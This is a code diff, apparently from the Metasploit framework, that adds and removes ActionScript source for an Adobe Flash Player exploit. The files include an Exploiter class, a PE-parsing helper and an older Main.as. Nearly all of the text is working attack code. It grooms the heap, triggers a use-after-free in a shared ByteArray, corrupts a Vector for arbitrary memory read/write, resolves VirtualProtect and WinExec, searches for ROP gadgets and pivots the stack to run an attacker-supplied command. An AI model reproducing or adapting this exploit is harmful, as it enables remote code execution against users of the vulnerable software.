eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,505 +0,0 @@
|
||||||
// Build how to:
|
|
||||||
// 1. Download the AIRSDK, and use its compiler.
|
|
||||||
// 2. Download the Flex SDK (4.6)
|
|
||||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
|
||||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
|
||||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
|
||||||
|
|
||||||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
|
||||||
|
|
||||||
package
|
|
||||||
{
|
|
||||||
import flash.utils.*
|
|
||||||
import flash.display.*
|
|
||||||
import flash.system.*
|
|
||||||
import mx.utils.Base64Decoder
|
|
||||||
|
|
||||||
public final class Msf extends Sprite {
|
|
||||||
|
|
||||||
private var shared_ba:ByteArray = null
|
|
||||||
|
|
||||||
private var hole_ba:ByteArray = null;
|
|
||||||
private var confuse_length_ba:ByteArray = null;
|
|
||||||
private var fake_ba:ByteArray = null;
|
|
||||||
private var worker:Worker = null;
|
|
||||||
|
|
||||||
private var byte_array_vector:Vector.<Object> = null;
|
|
||||||
private var byte_array_vector_length:int;
|
|
||||||
|
|
||||||
private var object_vector:Vector.<Object> = null;
|
|
||||||
private var object_vector_length:uint;
|
|
||||||
|
|
||||||
private var ba:ByteArray
|
|
||||||
private var uv:Vector.<uint>
|
|
||||||
private var corrupted_uv_index:uint = 0
|
|
||||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
|
||||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
|
||||||
|
|
||||||
private var b64:Base64Decoder = new Base64Decoder();
|
|
||||||
private var payload:String = ""
|
|
||||||
|
|
||||||
public function Msf() {
|
|
||||||
this.object_vector_length = 5770 * 2
|
|
||||||
this.byte_array_vector_length = 510 * 2
|
|
||||||
|
|
||||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
||||||
var pattern:RegExp = / /g;
|
|
||||||
b64_payload = b64_payload.replace(pattern, "+")
|
|
||||||
b64.decode(b64_payload)
|
|
||||||
payload = b64.toByteArray().toString()
|
|
||||||
|
|
||||||
this.initialize_worker_and_ba()
|
|
||||||
if (!this.trigger())
|
|
||||||
{
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var index:uint = search_uint_vector(114, 0x40000000)
|
|
||||||
if (index == 0xffffffff) {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
this.uv = this.object_vector[this.corrupted_uv_index]
|
|
||||||
|
|
||||||
// Use the corrupted Vector<uint> to search saved addresses
|
|
||||||
var object_vector_pos:uint = search_object_vector()
|
|
||||||
var byte_array_object:uint = this.uv[object_vector_pos] - 1
|
|
||||||
var main:uint = this.uv[object_vector_pos + 2] - 1
|
|
||||||
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
|
|
||||||
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
|
|
||||||
|
|
||||||
// Locate the corrupted Vector<uint> in memory
|
|
||||||
// It allows arbitrary address memory read/write
|
|
||||||
var ba_address:uint = search_ba_address()
|
|
||||||
if (ba_address == 0xffffffff) {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var uv_address:uint = ba_address + index
|
|
||||||
this.uv[0] = uv_address
|
|
||||||
|
|
||||||
// Use the corrupted Vector<uint> to disclose arbitrary memory
|
|
||||||
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
|
||||||
var buffer:uint = vector_read(buffer_object + 8)
|
|
||||||
var stack_address:uint = vector_read(stack_object + 0x18)
|
|
||||||
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
|
||||||
var vtable:uint = vector_read(main)
|
|
||||||
|
|
||||||
// Set the new ByteArray length
|
|
||||||
ba.endian = "littleEndian"
|
|
||||||
ba.length = 0x500000
|
|
||||||
|
|
||||||
// Overwite the ByteArray data pointer and capacity
|
|
||||||
var ba_array:uint = buffer_object + 8
|
|
||||||
var ba_capacity:uint = buffer_object + 16
|
|
||||||
vector_write(ba_array)
|
|
||||||
vector_write(ba_capacity, 0xffffffff)
|
|
||||||
|
|
||||||
// restoring the corrupted vector length since we don't need it
|
|
||||||
// anymore
|
|
||||||
this.uv[0] = 0xfeedbabe
|
|
||||||
//index = search_uint_vector(0xffffffff, 114)
|
|
||||||
index = search_uint_vector(0x40000000, 114)
|
|
||||||
if (index == 0xffffffff) {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var flash:uint = base(vtable)
|
|
||||||
var winmm:uint = module("winmm.dll", flash)
|
|
||||||
var kernel32:uint = module("kernel32.dll", winmm)
|
|
||||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
|
||||||
var winexec:uint = procedure("WinExec", kernel32)
|
|
||||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
|
||||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
|
||||||
|
|
||||||
// Continuation of execution
|
|
||||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
|
||||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
|
||||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
|
||||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
|
||||||
|
|
||||||
// Put the payload (command) in memory
|
|
||||||
byte_write(payload_address + 8, payload, true); // payload
|
|
||||||
|
|
||||||
// Put the fake vtabe / stack on memory
|
|
||||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
|
||||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
|
||||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
|
||||||
byte_write(0, virtualprotect)
|
|
||||||
|
|
||||||
// VirtualProtect
|
|
||||||
byte_write(0, winexec)
|
|
||||||
byte_write(0, buffer + 0x10)
|
|
||||||
byte_write(0, 0x1000)
|
|
||||||
byte_write(0, 0x40)
|
|
||||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
|
||||||
|
|
||||||
// WinExec
|
|
||||||
byte_write(0, buffer + 0x10)
|
|
||||||
byte_write(0, payload_address + 8)
|
|
||||||
byte_write(0)
|
|
||||||
|
|
||||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
|
||||||
|
|
||||||
toString() // call method in the fake vtable
|
|
||||||
}
|
|
||||||
|
|
||||||
final private function initialize_worker_and_ba():Boolean{
|
|
||||||
this.ba = new ByteArray()
|
|
||||||
this.ba.endian = "littleEndian"
|
|
||||||
this.ba.length = 1024
|
|
||||||
this.ba.writeUnsignedInt(0xdeedbeef)
|
|
||||||
this.ba.position = 0
|
|
||||||
|
|
||||||
this.shared_ba = new ByteArray()
|
|
||||||
this.shared_ba.shareable = true
|
|
||||||
this.shared_ba.endian = Endian.LITTLE_ENDIAN
|
|
||||||
this.shared_ba.writeUnsignedInt(252536)
|
|
||||||
this.shared_ba.writeUnsignedInt(16777216)
|
|
||||||
|
|
||||||
this.confuse_length_ba = new ByteArray()
|
|
||||||
this.confuse_length_ba.length = 0x2000
|
|
||||||
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
|
|
||||||
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
|
|
||||||
|
|
||||||
this.fake_ba = new ByteArray();
|
|
||||||
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
|
|
||||||
|
|
||||||
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
final private function trigger():Boolean{
|
|
||||||
// Memory massaging
|
|
||||||
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
|
|
||||||
this.fill_byte_array_vector();
|
|
||||||
// 2. Clear the marked ByteArray
|
|
||||||
this.hole_ba.clear();
|
|
||||||
|
|
||||||
// The shared_ba should be left in "shared" state
|
|
||||||
this.worker.setSharedProperty("fnfre", this.shared_ba)
|
|
||||||
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
|
|
||||||
this.worker.setSharedProperty("vfhrth", this.shared_ba)
|
|
||||||
|
|
||||||
// fake_ba *data* is going to fill the space freed from the hole
|
|
||||||
this.fake_ba.length = 0x2000;
|
|
||||||
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
|
|
||||||
|
|
||||||
// Trigger the vulnerability, if the memory layout is good enough
|
|
||||||
// the (freed) hole_ba metadata will end being the shared_ba metadata...
|
|
||||||
this.shared_ba.uncompress()
|
|
||||||
|
|
||||||
// So its size should be 0x2000
|
|
||||||
if (this.shared_ba.length != 0x2000)
|
|
||||||
{
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// Free the fake_ba and make holes on the ByteArray's
|
|
||||||
// allocated on massaging.
|
|
||||||
this.free_fake_and_make_holes()
|
|
||||||
|
|
||||||
// Fill the holes and the fake_ba data space with
|
|
||||||
// <uint> vectors
|
|
||||||
this.fill_with_vectors()
|
|
||||||
|
|
||||||
// Hopefully the shared_ba metadata, product of the vulnerability
|
|
||||||
// at this moment point to the <uint> vectors in memory =) it means
|
|
||||||
// game over.
|
|
||||||
var pwn_test:uint;
|
|
||||||
this.shared_ba.position = 0;
|
|
||||||
pwn_test = this.shared_ba.readUnsignedInt();
|
|
||||||
|
|
||||||
if (pwn_test == 0xBBBBBBBB)
|
|
||||||
{
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
|
|
||||||
var i:int;
|
|
||||||
local_ba.position = 0;
|
|
||||||
i = 0;
|
|
||||||
while (i < (local_ba.length / 4))
|
|
||||||
{
|
|
||||||
local_ba.writeInt(value);
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
local_ba.position = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
final private function fill_byte_array_vector():void{
|
|
||||||
var i:int;
|
|
||||||
var local_ba:ByteArray;
|
|
||||||
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
|
|
||||||
|
|
||||||
i = 0;
|
|
||||||
|
|
||||||
while (i < this.byte_array_vector_length)
|
|
||||||
{
|
|
||||||
local_ba = new ByteArray();
|
|
||||||
this.byte_array_vector[i] = local_ba;
|
|
||||||
local_ba.endian = Endian.LITTLE_ENDIAN;
|
|
||||||
i++;
|
|
||||||
}
|
|
||||||
|
|
||||||
var hole_index:int = this.byte_array_vector_length * 4 / 5;
|
|
||||||
if (hole_index % 2 == 0)
|
|
||||||
{
|
|
||||||
hole_index++;
|
|
||||||
}
|
|
||||||
|
|
||||||
for(i = 0; i < this.byte_array_vector_length; i++)
|
|
||||||
{
|
|
||||||
local_ba = this.byte_array_vector[i] as ByteArray
|
|
||||||
local_ba.length = 0x2000
|
|
||||||
this.fill_byte_array(local_ba, 0xCCCCCCCC)
|
|
||||||
local_ba.writeInt(0xbabefac0)
|
|
||||||
local_ba.writeInt(0xbabefac1)
|
|
||||||
local_ba.writeInt(i)
|
|
||||||
local_ba.writeInt(0xbabefac3)
|
|
||||||
if (i == hole_index)
|
|
||||||
{
|
|
||||||
this.hole_ba = local_ba;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
final private function free_fake_and_make_holes():void {
|
|
||||||
var i:int
|
|
||||||
var clear_ba:ByteArray
|
|
||||||
var hole_index:int = this.byte_array_vector_length * 4 / 5
|
|
||||||
|
|
||||||
if (hole_index % 2 == 0)
|
|
||||||
{
|
|
||||||
hole_index++;
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < this.byte_array_vector_length; i++)
|
|
||||||
{
|
|
||||||
if (i == hole_index) {
|
|
||||||
this.fake_ba.clear();
|
|
||||||
} else {
|
|
||||||
if (i % 2 == 1)
|
|
||||||
{
|
|
||||||
clear_ba = this.byte_array_vector[i] as ByteArray
|
|
||||||
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
|
|
||||||
clear_ba.clear()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
final private function fill_with_vectors():void {
|
|
||||||
var i:uint;
|
|
||||||
var uint_vector:Vector.<uint>;
|
|
||||||
var objects:Vector.<Object>;
|
|
||||||
this.object_vector = new Vector.<Object>(this.object_vector_length);
|
|
||||||
|
|
||||||
i = 0
|
|
||||||
while (i < this.object_vector_length)
|
|
||||||
{
|
|
||||||
if (i % 2 == 0) {
|
|
||||||
this.object_vector[i] = new Vector.<uint>()
|
|
||||||
} else {
|
|
||||||
this.object_vector[i] = new Vector.<Object>()
|
|
||||||
}
|
|
||||||
i++
|
|
||||||
}
|
|
||||||
|
|
||||||
i = 0
|
|
||||||
while (i < this.object_vector_length)
|
|
||||||
{
|
|
||||||
if (i % 2 == 0) {
|
|
||||||
uint_vector = this.object_vector[i] as Vector.<uint>
|
|
||||||
uint_vector.length = 114
|
|
||||||
uint_vector[0] = 0xfeedbabe
|
|
||||||
uint_vector[1] = i
|
|
||||||
uint_vector[2] = 0xbabeface
|
|
||||||
} else {
|
|
||||||
objects = this.object_vector[i] as Vector.<Object>
|
|
||||||
objects.length = 114
|
|
||||||
objects[0] = this.ba
|
|
||||||
objects[1] = i
|
|
||||||
objects[2] = this
|
|
||||||
objects[3] = this.stack
|
|
||||||
objects[4] = this.payload_space
|
|
||||||
}
|
|
||||||
i++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Use the corrupted shared_ba to search and corrupt the uint vector
|
|
||||||
// Returns the offset to the *length* of the corrupted vector
|
|
||||||
private function search_uint_vector(old_length:uint, new_length:uint):uint {
|
|
||||||
this.shared_ba.position = 0
|
|
||||||
var i:uint = 0
|
|
||||||
var length:uint = 0
|
|
||||||
var atom:uint = 0
|
|
||||||
var mark_one:uint = 0
|
|
||||||
var index:uint = 0
|
|
||||||
var mark_two:uint = 0
|
|
||||||
while (i < 0x2000) {
|
|
||||||
length = shared_ba.readUnsignedInt()
|
|
||||||
if (length == old_length) {
|
|
||||||
atom = shared_ba.readUnsignedInt()
|
|
||||||
mark_one = shared_ba.readUnsignedInt()
|
|
||||||
index = shared_ba.readUnsignedInt()
|
|
||||||
mark_two = shared_ba.readUnsignedInt()
|
|
||||||
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
|
|
||||||
shared_ba.position = i
|
|
||||||
shared_ba.writeUnsignedInt(new_length)
|
|
||||||
this.corrupted_uv_index = index
|
|
||||||
return i;
|
|
||||||
}
|
|
||||||
i = i + 16
|
|
||||||
}
|
|
||||||
i = i + 4
|
|
||||||
}
|
|
||||||
return 0xffffffff
|
|
||||||
}
|
|
||||||
|
|
||||||
// Use the corrupted shared_ba to disclose its own address
|
|
||||||
private function search_ba_address():uint {
|
|
||||||
var address:uint = 0
|
|
||||||
this.shared_ba.position = 0x14
|
|
||||||
address = shared_ba.readUnsignedInt()
|
|
||||||
if (address == 0) {
|
|
||||||
address = 0xffffffff
|
|
||||||
this.shared_ba.position = 8
|
|
||||||
var next:uint = shared_ba.readUnsignedInt()
|
|
||||||
var prior:uint = shared_ba.readUnsignedInt()
|
|
||||||
if (next - prior == 0x8000) {
|
|
||||||
address = prior + 0x4000
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
address = address - 0x30
|
|
||||||
}
|
|
||||||
|
|
||||||
return address
|
|
||||||
}
|
|
||||||
|
|
||||||
// Use the corrupted uint vector to search an vector with
|
|
||||||
// interesting objects for info leaking
|
|
||||||
private function search_object_vector():uint {
|
|
||||||
var i:uint = 0;
|
|
||||||
while (i < 0x4000){
|
|
||||||
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
|
|
||||||
return i + 1;
|
|
||||||
}
|
|
||||||
i++
|
|
||||||
}
|
|
||||||
return 0xffffffff
|
|
||||||
}
|
|
||||||
|
|
||||||
// Methods to use the corrupted uint vector
|
|
||||||
|
|
||||||
private function vector_write(addr:uint, value:uint = 0):void
|
|
||||||
{
|
|
||||||
var pos:uint = 0
|
|
||||||
|
|
||||||
if (addr > this.uv[0]) {
|
|
||||||
pos = ((addr - this.uv[0]) / 4) - 2
|
|
||||||
} else {
|
|
||||||
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
|
|
||||||
}
|
|
||||||
|
|
||||||
this.uv[pos] = value
|
|
||||||
}
|
|
||||||
|
|
||||||
private function vector_read(addr:uint):uint
|
|
||||||
{
|
|
||||||
var pos:uint = 0
|
|
||||||
|
|
||||||
if (addr > this.uv[0]) {
|
|
||||||
pos = ((addr - this.uv[0]) / 4) - 2
|
|
||||||
} else {
|
|
||||||
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
|
|
||||||
}
|
|
||||||
|
|
||||||
return this.uv[pos]
|
|
||||||
}
|
|
||||||
|
|
||||||
// Methods to use the corrupted byte array for arbitrary reading/writing
|
|
||||||
|
|
||||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
|
||||||
{
|
|
||||||
if (addr) ba.position = addr
|
|
||||||
if (value is String) {
|
|
||||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
|
||||||
if (zero) ba.writeByte(0)
|
|
||||||
} else ba.writeUnsignedInt(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
|
||||||
{
|
|
||||||
ba.position = addr
|
|
||||||
switch(type) {
|
|
||||||
case "dword":
|
|
||||||
return ba.readUnsignedInt()
|
|
||||||
case "word":
|
|
||||||
return ba.readUnsignedShort()
|
|
||||||
case "byte":
|
|
||||||
return ba.readUnsignedByte()
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
// Methods to search the memory with the corrupted byte array
|
|
||||||
|
|
||||||
private function base(addr:uint):uint
|
|
||||||
{
|
|
||||||
addr &= 0xffff0000
|
|
||||||
while (true) {
|
|
||||||
if (byte_read(addr) == 0x00905a4d) return addr
|
|
||||||
addr -= 0x10000
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
private function module(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
|
||||||
var i:int = -1
|
|
||||||
while (true) {
|
|
||||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
|
||||||
if (!entry) throw new Error("FAIL!");
|
|
||||||
ba.position = addr + entry
|
|
||||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
|
||||||
if (dll_name == name.toUpperCase()) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
|
||||||
}
|
|
||||||
|
|
||||||
private function procedure(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
|
||||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
|
||||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
|
||||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
|
||||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
|
||||||
|
|
||||||
for (var i:uint = 0; ; i++) {
|
|
||||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
|
||||||
ba.position = addr + entry
|
|
||||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
|
||||||
}
|
|
||||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
|
||||||
{
|
|
||||||
var find:uint = 0
|
|
||||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
|
||||||
var value:uint = parseInt(gadget, 16)
|
|
||||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
|
||||||
return addr + i
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -24,22 +24,22 @@ package
|
||||||
private var ba:ByteArray = new ByteArray()
|
private var ba:ByteArray = new ByteArray()
|
||||||
private var exploiter:Exploiter
|
private var exploiter:Exploiter
|
||||||
private var b64:Base64Decoder = new Base64Decoder()
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
private var payload:String
|
private var payload:ByteArray
|
||||||
private var platform:String
|
private var platform:String
|
||||||
private var massage:Vector.<Object> = new Vector.<Object>(10000)
|
private var os:String
|
||||||
|
|
||||||
public function Exploit()
|
public function Exploit()
|
||||||
{
|
{
